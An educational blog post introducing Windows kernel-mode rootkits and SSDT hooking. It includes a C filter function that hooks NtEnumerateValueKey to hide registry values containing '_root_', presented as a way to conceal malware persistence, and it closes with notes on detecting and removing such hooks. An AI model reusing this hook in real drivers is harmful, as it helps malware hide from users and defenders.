This is the first part of this series about Kernel Mode rootkits, I wanted to write on it and demonstrate how some rootkits (Ex: Necurs) do to hide their presence and protect themselves from removal by using SSDT hooks.
I’ll first introduce what is KernelMode (against UserLand), then what is SSDT, and to finish demonstrate how a hook can be made, detected, and removed. This post is about a classic trick, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want 🙂
Kernel Mode
Hard to explain better than Microsoft itself. There are basically 2 address spaces in Windows, where applications can only be part of one of them. This means an application is either designed to run in user mode (classic application, apps with user interface, services, …) or in kernel mode (kernel mode drivers).
Usually, high level programs run in user mode, while low level programs run in kernel mode. User mode process address space is private (and virtual), this means that from inside a process context, all the processes see the same address range. However, writing to a given virtual address writes to a different physical address according to the process context we are. When some unexpected thing happens in user mode, only the process crashes.
Unlike user mode, kernel mode address space is shared. This means we can read/write to the memory of any other process. Kernel Mode is very critical because of this (and because it’s low level), because if something unexpected happen and isn’t handled correctly, but have a BSoD.
SSDT (System Service Dispatch Table)
The System Service Dispatch Table is a table containing pointers to service functions (APIs) in ntoskrnl.exe (NtOpenProcess, NtOpenThread, … ).
Make of a hook in this table consist to replace the original pointer value of an entry (let’s take NtOpenProcess for the example) by the address of a function with the same prototype in any kernel mode loaded module. Usually, detouring an API is only made to filter the input parameters (and deny access if needed) and return the original pointer value at the end of the processing, to call the original function.
Any loaded module can then detour the execution flow of an API to filter any attempt to open a handle on a process (in our example). This is very important, because a handle with enough rights is needed to kill a process with NtTerminateProcess. If we deny the call to NtOpenProcess, no program will be able to kill a given process (in theory…).
SSDT hooks are used by malware to self-protect and hide their ass, and by antivirus vendors (on old systems) to filter system access (process starts, registry write, …).
Practical case: Hide a registry value
I didn’t say ‘protect’, but HIDE. Imagine you’re a malware writer, and you need to hide the persistence item of your piece of code and let’s imagine it’s a RUN value. You don’t want anyone to be able to remove your malware so you hide it (Of course you need to protect the file as well, but that’s not a how-to-make-a-virus here). Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only. Anyway, this is covered for decades on other websites…
I’ll not show you how to hook the SSDT, it’s very well explained here. I’ll just write the hooking filter function. We want to hide a registry value, so we will target the NtEnumerateValueKey API. I haven’t told before, but as it’s kernel mode code, you’d need to code a driver.
NTSTATUS NewZwEnumerateValueKey(IN HANDLE KeyHandle,IN ULONG Index,IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation OPTIONAL, IN ULONG Length, OUT PULONG ResultLength)
{
NTSTATUS ntStatus;
PWSTR ValueName;
// Call the original API (NtEnumerateValueKey)
ntStatus = ((ZWENUMERATEVALUEKEY)(OldZwEnumerateValueKey)) (KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
// Get value name
if (KeyValueInformationClass == KeyValueFullInformation)
{
ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name;
// If the registry value name contains _root_ we increment the index and call the API a second time, hiding the first call results.
if (ValueName != NULL && wcsstr(ValueName, L"_root_") != NULL)
{
DbgPrint("[ENUMVALUE] %d [%d] -- %ws\n", Index, KeyValueInformationClass, ValueName);
// Skip index
Index++;
ValueName = NULL;
return ((ZWENUMERATEVALUEKEY)(OldZwEnumerateValueKey)) (KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);
}
}
return ntStatus;
}
The code is self explaining, fully commented.
If the value name contains the string “_root_”, we call the API a second time to hide the results of the first call.
This means we don’t get any information about the hidden value.
A demo of the rootkit is available here:
Detection/Removal
To detect such a hook, we need to load a driver that will scan the SSDT and compare each pointer to the address range of ntoskrnl module. If one is outside this range, it’s probably hooked by some module. Pretty easy to detect.
However, some other tips exist to hook the SSDT, some rootkits do not change the address in the SSDT but change the assembly instructions of the first bytes in the target API (in ntoskrnl then) to point to the hooking module. This is called Inline hook (not covered here).
To remove a SSDT hook, you need to retrieve the true address of the API (somewhere…) and replace the bad address in the SSDT. That should remove the filter and let the rootkit unprotected. Pay attention, the restore action must be atomic (else we can have some BSoD).